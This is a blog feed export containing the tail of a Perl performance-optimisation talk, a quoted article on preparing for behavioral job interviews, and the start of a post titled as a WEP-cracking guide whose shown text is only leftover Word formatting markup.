(0x16bb40) null [174]<br /> UNOP (0x16d6e0) hex [1]<br /> UNOP (0x16d6c0) null [15]<br /> SVOP (0x10e6b8) gvsv GV (0xf4224) *_<br /> PMOP (0x114b28) match /(....)/<br /> UNOP (0x16d7b0) null [15]<br /> SVOP (0x16d700) gvsv GV (0x111f10) *line<br /><br />At the bottom you can see how the match /(....)/ is just one op. But the next diagonal line of ops from mapwhile down to the match are all the ops that make up the map. Lots of them. And they get run each time round map's loop. [Note also that the {}s mean that map enters scope each time round the loop. That not a trivially cheap op either]<br /><br />Whereas my replacement code looks like this:<br /><br />$ perl -MO=Terse -e'unpack "n*", pack "H*", $line;'<br /><br /> LISTOP (0x16d818) leave [1]<br /> OP (0x16d840) enter<br /> COP (0x16bb40) nextstate<br /> LISTOP (0x16d7d0) unpack<br /> OP (0x16d7f8) null [3]<br /> SVOP (0x10e6b8) const PV (0x111f94) "n*"<br /> LISTOP (0x115370) pack [1]<br /> OP (0x16d7b0) pushmark<br /> SVOP (0x16d6c0) const PV (0x111f10) "H*"<br /> UNOP (0x16d790) null [15]<br /> SVOP (0x16d6e0) gvsv GV (0x111f34) *line<br /><br />There are less ops in total. And no loops, so all the ops you see execute only once. :-)<br /><br />[My helpful hecklers pointed out that it's hard to work out what an op is. Good call. There's roughly one op per symbol (function, operator, variable name, and any other bit of perl syntax). So if you golf down the number of functions and operators your program runs, then you'll be reducing the number of ops.]<br /><br />[These were supposed to be the bonus slides. I talked to fast (quelle surprise) and so manage to actually get through the lot with time for questions]<br />Memoize<br /><br />Caches function results<br /> MJD's Memoize follows the grand perl tradition by trading memory for speed. You tell Memoize the name(s) of functions you'd like to speed up, and it does symbol table games to transparently intercept calls to them. It looks at the parameters the function was called with, and uses them to decide what to do next. If it hasn't seen a particular set of parameters before, it calls the original function with the parameters. However, before returning the result, it stores it in a hash for that function, keyed by the function's parameters. If it has seen the parameters before, then it just returns the result direct from the hash, without even bothering to call the function.<br />For functions that only calculate<br /> This is useful for functions that calculate things with no side effects, slow functions that you often call repeatedly with the same parameters. It's not useful for functions that do things external to the program (such as generating output), nor is it good for very small, fast functions.<br />Can tie cache to a disk file<br /> The hash Memoize uses is a regular perl hash. This means that you can tie the hash to a disk file. This allows Memoize to remember things across runs of your program. That way, you could use Memoize in a CGI to cache static content that you only generate on demand (but remember you'll need file locking). The first person who requests something has to wait for the generation routine, but everyone else gets it straight from the cache. You can also arrange for another program to periodically expire results from the cache. <br /><br />As of 5.8 Memoize module has been assimilated into the core. Users of earlier perl can get it from CPAN.<br />Miscellaneous<br /><br />These are quite general ideas for optimisation that aren't particularly perl specific.<br /><br />Pull things out of loops<br /> perl's hash lookups are fast. But they aren't as fast as a lexical variable. enc2xs was calling a function each time round a loop based on a hash lookup using $type as the key. The value of $type didn't change, so I pulled the lookup out above the loop into a lexical variable:<br /><br /> my $type_func = $encode_types{$type};<br /><br /> and doing it only once was faster.<br />Experiment with number of arguments<br /> Something else I found was that enc2xs was calling a function which took several arguments from a small number of places. The function contained code to set defaults if some of the arguments were not supplied. I found that the way the program ran, most of the calls passed in all the values and didn't need the defaults. Changing the function to not set defaults, and writing those defaults out explicitly where needed bought me a speed up.<br />Tail recursion<br /> Tail recursion is where the last thing a function does it call itself again with slightly different arguments. It's a common idiom, and some languages can automatically optimise it away. Perl is not one of those languages. So every time a function tail recurses you have another subroutine call [not cheap - Arthur Bergman notes that it is 10 pages of C source, and will blow the instruction cache on a CPU] and re-entering that subroutine again causes more memory to be allocated to store a new set of lexical variables [also not cheap].<br /><br /> perl can't spot that it could just throw away the old lexicals and re-use their space, but you can, so you can save CPU and RAM by re-writing your tail recursive subroutines with loops. In general, trying to reduce recursion by replacing it with iterative algorithms should speed things up.<br /><br />yay for y<br /><br />y, or tr, is the transliteration operator. It's not as powerful as the general purpose regular expression engine, but for the things it can do it is often faster.<br /><br />tr/!// # fastest way to count chars<br /> tr doesn't delete characters unless you use the /d flag. If you don't even have any replacement characters then it treats its target as read only. In scalar context it returns the number of characters that matched. It's the fastest way to count the number of occurrences of single characters and character ranges. (ie it's faster than counting the elements returned by m/.../g in list context. But if you just want to see whether one or more of a character is present use m/.../, because it will stop at the u first, whereas tr/// has to go to the end)<br />tr/q/Q/ faster than s/q/Q/g<br /> tr is also faster than the regexp engine for doing character-for-character substitutions.<br />tr/a-z//d faster than s/[a-z]//g<br /> tr is faster than the regexp engines for doing character range deletions. [When writing the slide I assumed that it would be faster for single character deletions, but I Benchmarked things and found that s///g was faster for them. So never guess timings; always test things. You'll be surprised, but that's better than being wrong] <br /><br />Ops are bad, m'kay<br /><br />Another example lifted straight from enc2xs of something that I managed to accelerate quite a bit by reducing the number of ops run. The code takes a scalar, and prints out each byte as \x followed by 2 digits of hex, as it's generating C source code:<br /><br /> #foreach my $c (split(//,$out_bytes)) {<br /> # $s .= sprintf "\\x%02X",ord($c);<br /> #}<br /> # 9.5% faster changing that loop to this:<br /> $s .= sprintf +("\\x%02X" x length $out_bytes), unpack "C*", $out_bytes;<br /><br />The original makes a temporary list with split [not bad in itself - ops are more important than CPU or RAM] and then loops over it. Each time round the loop it executes several ops, including using ord to convert the byte to its numeric value, and then using sprintf with the format "\\x%02X" to convert that number to the C source.<br /><br />The new code effectively merges the split and looped ord into one op, using unpack's C format to generate the list of numeric values directly. The more interesting (arguably sick) part is the format to sprintf, which is inside +(...). You can see from the .= in the original that the code is just concatenating the converted form of each byte together. So instead of making sprintf convert each value in turn, only for perl ops to stick them together, I use x to replicate the per-byte format string once for each byte I'm about to convert. There's now one "\\x%02X" for each of the numbers in the list passed from unpack to sprintf, so sprintf just does what it's told. And sprintf is faster than perl ops.<br />How to make perl fast enough<br /><br />use the language's fast features<br /> You have enormous power at your disposal with regexps, pack, unpack and sprintf. So why not use them?<br /><br /> All the pack and unpack code is implemented in pure C, so doesn't have any of the book-keeping overhead of perl ops. sprintf too is pure C, so it's fast. The regexp engine uses its own private bytecode, but it's specially tuned for regexps, so it runs much faster than general perl code. And the implementation of tr has less to do than the regexp engine, so it's faster.<br /><br /> For maximum power, remember that you can generate regexps and the formats for pack, unpack and sprintf at run time, based on your data.<br />give the interpreter hints<br /> Make it obvious to the interpreter what you're up to. Avoid $&, use (?:...) when you don't need capturing, and put the /o flag on constant regexps.<br />less OPs<br /> Try to accomplish your tasks using less operations. If you find you have to optimise an existing program then this is where to start - golf is good, but remember it's run time strokes not source code strokes.<br />less CPU<br /> Usually you want to find ways of using less CPU.<br />less RAM<br /> but don't forget to think about how your data structures work to see if you can make them use less RAM. <br /><br />© 2002 Nicholas ClarkUnknownnoreply@blogger.com11tag:blogger.com,1999:blog-34767665.post-66464130395073157512010-07-06T13:19:00.001-07:002010-07-06T13:21:39.746-07:00Interview prepI know job markets are tough out there. Here's one thing you should prep for.<br /><br />Quote from the site "<a href="http://artofmanliness.com/2010/07/02/how-prepare-for-and-rock-a-behavioral-job-interview/print">Art of Manliness</a>".<br /><br /><a href="http://artofmanliness.com/2010/07/02/how-prepare-for-and-rock-a-behavioral-job-interview/print">How Prepare for and Rock a Behavioral Job Interview</a><br /><br />Posted By Brett & Kate McKay On July 2, 2010 @ 1:29 am In Money & Career | 27 Comments<br /><br />Job interviews can be nerve-racking. You have one shot to convince a potential employer that they should hire you instead of dozens (and maybe hundreds) of other qualified candidates. In this tough job market, a man has to be on top of his game during interviews if he wants a chance to land the job.<br /><br />A few months ago, I interviewed for a job I had been hoping to get since I was a student in law school. I got through the first round of interviews fine. It was the kind of straightforward and traditional interview that most of us have probably experienced. I was asked questions about my strengths, my weaknesses, and why I wanted to work for this particular company. Basically, they were the kind of questions you can prepare for and have some go-to answers you can use with confidence.<br /><br />I got the call-back and scheduled an interview with a company executive. Before I flew out to my interview, a friend of mine who knew this person tipped me off on the executive’s interview style. The executive liked to use behavioral interviewing to weed out candidates for positions. I had never heard of this interview style before, so I set out to research as much as I could about it, aiming to be as prepared as possible.<br /><br />Here’s what I learned on the way to landing the job.<br /><br />What Is Behavioral Interviewing?<br /><br />Behavioral interviewing is a relatively new method of job screening. In the 1970s, industrial psychologists found that traditional job interviewing was a pretty crappy way of predicting whether a candidate would succeed at a job. And when you look at traditional job interview questions, it’s easy to see why.<br /><br />In a traditional job interview an employer might ask questions like:<br /><br /> * “What are your strengths?” Typical banal answer: “I’m a team player who’s passionate about engaging with people to realize the mission statement of the organization.”<br /> * “What are your weaknesses?” Typical banal answer: “Oh, I guess my biggest weakness is that I’m just so darn hard working. I never know when to quit. Oh, and I’m really hard on myself. I’m a perfectionist.” Basically, the candidate makes a lame effort to turn a “weakness” into a strength.<br /> * “What’s your passion?” Typical banal answer: “I’m passionate about whatever the company I’m interviewing for does for business. I hear you guys make fertilizer. Did I tell you about my dog poop collection in my backyard? It’s amazing!”<br /> * “How would you handle a co-worker who is bothering you?” Typical banal answer: “The truth is I would probably leave passive-aggressive notes on his desk, but you don’t want to hear that, so I’ll just tell you what you want to hear. I would seek to understand and then to be understood. I would kill them with kindness. And if worse comes to worse, I’d take the problem to HR.”<br /> * Or simply: “Tell me about yourself.” Typical banal answer: “Here’s my 2 minute elevator pitch that makes me look really awesome but in no way reveals to you whether I really have the skills to excel at this job.”<br /><br />These types of questions are pretty easy to answer. You just have to give the interviewer a vague reply filled with the right buzz words. These answers don’t reveal if the candidate really has the skill set needed to succeed in the job because they don’t require a candidate to give specific examples from their past when they demonstrated said skills. What these types of questions usually reveal is that a job candidate is good at telling a boss what they want to hear.<br /><br />Behavioral interviewing cuts through the banalities of traditional interviewing and requires candidates to give concrete examples of when they demonstrated the skills needed for the job. Instead of asking what your strengths are, an employer using the behavioral interview process will ask a question like this:<br /><br /> “This job requires the ability to make quick decisions in pressure-filled situations. Can you give me an example from your past when you had to make a quick decision under lots of pressure?”<br /><br />Yikes. It’s a lot harder to B.S. an answer to this question than the “What are your strengths?” question.<br /><br />But the questioning doesn’t stop there. The employer using the behavioral interview method will often follow-up your initial response with probing questions to elicit more details from you. Going back to our example question on decision-making, as you tell a story of when you made a quick decision, the interviewer might stop you and ask, “What were you thinking at this point?” These types of probing questions serve two purposes: 1) they give the employer more insight about your personality and character, and 2) they serve as B.S. filters. If you’re telling a totally fabricated story, the probing questions will usually trip you up.<br />Behavioral Interview Question Examples<br /><br />The possible number of unique behavioral interview questions is only limited by the imagination of the interviewer. You’ll face questions that focus on a large variety of skills and behavior. An employer can then multiply the number of questions he or she asks you about those skill sets by inquiring about different projects or situations you’ve experienced in the past where you demonstrated those skills. Below we’ve included a few sample behavioral interview questions to give you an idea of what you’re up against:<br /><br /> * What do you do when priorities change quickly? Give one example of when this happened.<br /> * Describe a project or idea that was implemented primarily because of your efforts. What was your role? What was the outcome?<br /> * What is the riskiest decision you have made? What was the situation? What happened?<br /> * Give an example of an important goal that you set in the past. Tell about your success in reaching it.<br /> * Tell us about a time when you had to analyze information and make a recommendation. What kind of thought process did you go through? What was your reasoning behind your decision?<br /> * Tell us about a time when you built rapport quickly with someone under difficult conditions.<br /> * Tell us about the most difficult or frustrating individual that you’ve ever had to work with, and how you managed to work with them.<br /> * There are many jobs that require creative or innovative thinking. Give an example of when you had such a job and how you handled it.<br /> * On occasion we are confronted by dishonesty in the workplace. Tell about such an occurrence and how you handled it.<br /> * Describe the most challenging negotiation in which you were involved. What did you do? What were the results for you? What were the results for the other party?<br /> * Tell us about the most effective presentation you have made. What was the topic? What made it difficult? How did you handle it?<br /> * What have you done to develop your subordinates? Give an example.<br /> * Describe a situation where you had to use confrontation skills.<br /><br />That’s just a sampling. I recommend that you print off this mega list of behavioral interview questions [2]. There are over 100 questions on the list. When I was preparing for my job interview, I printed them off and had my wife give me a mock interview. It forced me to think of different examples from my past that I could use when answering the questions. It was tough, but well worth the effort. During the interview, I had a stockpile of examples fresh in my mind, ready to be drawn from.<br /><br />And don’t forget that your interviewer will ask you follow-up questions! As you come up with examples to use for your answers, put together as many details as you can so you’re ready for the probes of your potential employer.<br /><br />How to Answer a Behavioral Interview Question<br /><br />Alright, we know a behavioral interview can be a real son of a gun. What’s the best way to answer a behavioral interview question so you impress the boss and get the job?<br /><br />Most guides on behavioral interviewing suggest using the three step STAR process when giving an answer to a behavioral job interview:<br /><br />1. The Situation or Task you were in<br />2. Action that you took<br />3. Result of that action<br /><br />Let’s take a look at the STAR process in action.<br /><br /> Question: Describe a situation where you had a conflict with another individual, and how you dealt with it. What was the outcome?<br /><br /> Answer: During college I worked on a four person team that was researching the effects of plastics on male rats. I got along with everyone quite well, except for one fellow. We disagreed strongly on the method we should use to conduct the experiments. My other teammates and I agreed on one way, but this guy wanted to do it his way. He didn’t budge at all on his position and even took passive-aggressive steps to prevent us from completing the project. (Situation or Task)<br /><br /> I set up an informal meeting at the local coffee shop with the guy. I simply asked him to explain his reasons for wanting to do the experiment his way. I just listened and asked questions to clarify. Some of his assumptions were clearly erroneous, but I knew pointing them out right away would just make him get defensive, so I bit my tongue. After hearing him out, I had a better idea of where he was coming from and realized that he might have some misunderstandings on some basic concepts. I didn’t think he would take too kindly to a peer correcting him, so I suggested that maybe we should set up a meeting with the professor to discuss our different ideas and to see if he had any feedback or advice. (Action that you took)<br /><br /> So we met with the professor. We both presented our different reasons for wanting to do the experiment in a certain way. As predicted, the professor brought up the faulty assumptions our stubborn teammate had and that his method wouldn’t be the best to use. The guy was sort of deflated, but he accepted the feedback and agreed to start the experiment using our method. (Result of the action)<br /><br />There are no right or wrong answers. An important note to remember when answering behavioral interview questions is that there are no right or wrong answers. It’s often hard to tell what employers are looking for when they ask behavioral interview questions. Take our example about conflict resolution. You might think the interviewer is looking for a certain textbook method of conflict resolution. But maybe the employer’s own managerial philosophy doesn’t line up with the typical conflict resolution technique. I enjoy reading a weekly feature in the New York Times called “The Corner Office [3].” They ask CEO’s about leadership and what they’re looking for when interviewing a candidate for a job. Each CEO has a different rubric for what makes a good employee. So just concentrate on coming up with a concrete, truthful example that answers the question and presents you in a good light. And let the chips fall where they may.<br /><br />Be honest. Don’t try to B.S. your way through a behavioral interview. If you don’t have an example for a question you’re asked, don’t try to make something up. For starters, you’ll probably get called on it with follow-up questions. But more importantly, the questions are designed to see if your skill set and personality fit with the position. If your answers aren’t what the interviewer is looking for, this position may not be the best job for you anyway, and you’d be miserable at work if you did get the job. That’s not good for anyone.<br /><br />Use all your life experiences as examples for your answers. Behavioral interview questions often require you to give examples from your past work experience to answer a question. This can pose a problem for younger job candidates who haven’t held many, if any, prior jobs. To get around your lack of work experience, call on all your life experiences. Take examples from college or any volunteer organizations that you may have been a part of to answer the question.Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-34767665.post-71503497287320070352010-04-14T16:32:00.001-07:002010-04-14T17:00:42.600-07:00How to crack WEP key in Windows!Got this article from the TAZ forum in this <a href="http://tazforum.thetazzone.com/viewtopic.php?f=28&t=6811&st=0&sk=t&sd=a&hilit=wep">link</a>.<br /><br />Quoted content below:<br /><br /> <style> v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} </style> <![endif]--><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:trackmoves>false</w:TrackMoves> <w:trackformatting/> <w:punctuationkerning/> <w:validateagainstschemas/> <w:saveifxmlinvalid>false</w:SaveIfXMLInvalid> <w:ignoremixedcontent>false</w:IgnoreMixedContent> <w:alwaysshowplaceholdertext>false</w:AlwaysShowPlaceholderText> <w:donotpromoteqf/> <w:lidthemeother>EN-US</w:LidThemeOther> <w:lidthemeasian>X-NONE</w:LidThemeAsian> <w:lidthemecomplexscript>X-NONE</w:LidThemeComplexScript> <w:compatibility> <w:breakwrappedtables/> <w:snaptogridincell/> <w:wraptextwithpunct/> <w:useasianbreakrules/> <w:dontgrowautofit/> <w:splitpgbreakandparamark/> <w:dontvertaligncellwithsp/> <w:dontbreakconstrainedforcedtables/> <w:dontvertalignintxbx/> <w:word11kerningpairs/> <w:cachedcolbalance/> </w:Compatibility> <w:browserlevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathpr> <m:mathfont val="Cambria Math"> <m:brkbin val="before"> <m:brkbinsub val="--"> <m:smallfrac val="off"> <m:dispdef/> <m:lmargin val="0"> <m:rmargin val="0"> <m:defjc val="centerGroup"> <m:wrapindent val="1440"> <m:intlim val="subSup"> <m:narylim val="undOvr"> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"> <w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"> <w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"> <w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"> <w:lsdexception locked="false" priority="39" name="toc 1"> <w:lsdexception locked="false" priority="39" name="toc 2"> <w:lsdexception locked="false" priority="39" name="toc 3"> <w:lsdexception locked="false" priority="39" name="toc 4"> <w:lsdexception locked="false" priority="39" name="toc 5"> <w:lsdexception locked="false" priority="39" name="toc 6"> <w:lsdexception locked="false" priority="39" name="toc 7"> <w:lsdexception locked="false" priority="39" name="toc 8"> <w:lsdexception locked="false" priority="39" name="toc 9"> <w:lsdexception locked="false" priority="35" qformat="true" name="caption"> <w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"> <w:lsdexception locked="false" priority="1" name="Default Paragraph Font"> <w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"> <w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"> <w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"> <w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"> <w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"> <w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"> <w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"> <w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"> <w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"> <w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"> <w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"> <w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"> <w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"> <w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"> <w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"> <w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"> <w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"> <w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"> <w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"> <w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"> <w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"> <w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"> <w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"> <w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"> <w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"> <w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"> <w:lsdexception locked="false" unhidewhenused="false" name="Revision"> <w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"> <w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"> <w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"> <w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"> <w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"> <w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"> <w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"> <w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"> <w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"> <w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"> <w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"> <w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"> <w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"> <w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"> <w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"> <w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"> <w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"> <w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"> <w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"> <w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"> <w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"> <w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"> <w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"> <w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"> <w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"> <w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"> <w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"> <w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"> <w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"> <w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"> <w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"> <w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"> <w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"> <w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"> <w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"> <w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"> <w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"> <w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"> <w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"> <w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"> <w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"> <w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"> <w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"> <w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"> <w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"> <w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"> <w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"> <w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"> <w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"> <w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"> <w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"> <w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"> <w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"> <w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"> <w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"> <w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"> <w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"> <w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"> <w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"> <w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"> <w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"> <w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"> <w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"> <w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"> <w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"> <w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"> <w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"> <w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"> <w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"> <w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"> <w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"> <w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"> <w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"> <w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"> <w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"> <w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"> <w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"> <w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"> <w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"> <w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"> <w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"> <w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"> <w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"> <w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"> <w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"> <w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"> <w:lsdexception locked="false" priority="37" name="Bibliography"> <w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:1; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:0 0 0 0 0 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1610611985 1073750139 0 0 159 0;} /* Style Definitions */ 